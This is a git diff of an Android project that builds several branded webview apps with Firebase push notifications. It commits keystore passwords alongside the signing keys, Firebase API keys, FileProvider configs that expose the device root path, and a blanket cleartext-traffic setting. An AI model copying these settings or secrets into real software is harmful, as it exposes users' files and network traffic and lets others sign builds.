<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
amazy/telur33.jks Normal file

Binary file not shown.

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'AUD2U')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "24"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

2
audking98/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
audking98/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "audking98"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.company.audking98"
//app大背景色
resValue('color', 'windows_color', '#1A1A1A')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#08192A')
//app 名字
resValue('string', 'app_name', 'AUDKING98')
buildConfigField "int", "USERID", "251"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "true"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "584284933108",
"project_id": "audking98-77af4",
"storage_bucket": "audking98-77af4.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:584284933108:android:58e2403f49d172e53647a1",
"android_client_info": {
"package_name": "com.company.audking98"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyDSjtvl08-w7TGEgaysBCn1FvOXZ4psmzU"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
audking98/justlet.jks Normal file

Binary file not shown.

32
audking98/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 310 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
audking98/telur33.jks Normal file

Binary file not shown.

View File

@@ -24,7 +24,6 @@ android {
//app 名字
resValue('string', 'app_name', 'GOODPOKIES')
//预埋订阅网址
buildConfigField "String", "BASE_URL", "\"https://auplayx.com/\""
//后台唯一ID
buildConfigField "int", "USERID", "260"
//状态栏文字颜色是否为白色

View File

@@ -67,7 +67,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

2
b88/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

98
b88/build.gradle Normal file
View File

@@ -0,0 +1,98 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "b88"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
//包名
applicationId "com.shahd.b88"
//app大背景色
resValue('color', 'windows_color', '#000000')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#000000')
//app 名字
resValue('string', 'app_name', 'B88')
//预埋订阅网址
//后台唯一ID
buildConfigField "int", "USERID", "301"
//状态栏文字颜色是否为白色
buildConfigField "boolean", "IS_WHITE", "true"
//是否强转启动图为圆形
buildConfigField "boolean", "IS_ROUND", "true"
//IS_ROUND 为 true时 圆角启动logo的 圆角大小 为0 表示为圆形 否则为ROUND_RADIUS的 dp2px的 数字大小
buildConfigField "int", "ROUND_RADIUS", "10"
//已废弃
buildConfigField "boolean", "HAS_CONTACT", "true"
//已废弃
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
resValues = true
}
signingConfigs {
debug {
storeFile file('justlet.jks')
storePassword "123456"
keyAlias 'key0'
keyPassword "123456"
}
release {
storeFile file('justlet.jks')
storePassword "123456"
keyAlias 'key0'
keyPassword "123456"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

29
b88/google-services.json Normal file
View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "335717969099",
"project_id": "b888-a8604",
"storage_bucket": "b888-a8604.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:335717969099:android:5f89a1044107b0fac4ff4e",
"android_client_info": {
"package_name": "com.shahd.b88"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyCcV183IHFxsqHsH2sEAQhJsFmTgMod8ZY"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
b88/justlet.jks Normal file

Binary file not shown.

32
b88/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,63 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/AppThemeStart"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,80 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
// activityMain2Binding.showTopV.setImageResource(R.mipmap.ic_launcher);
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
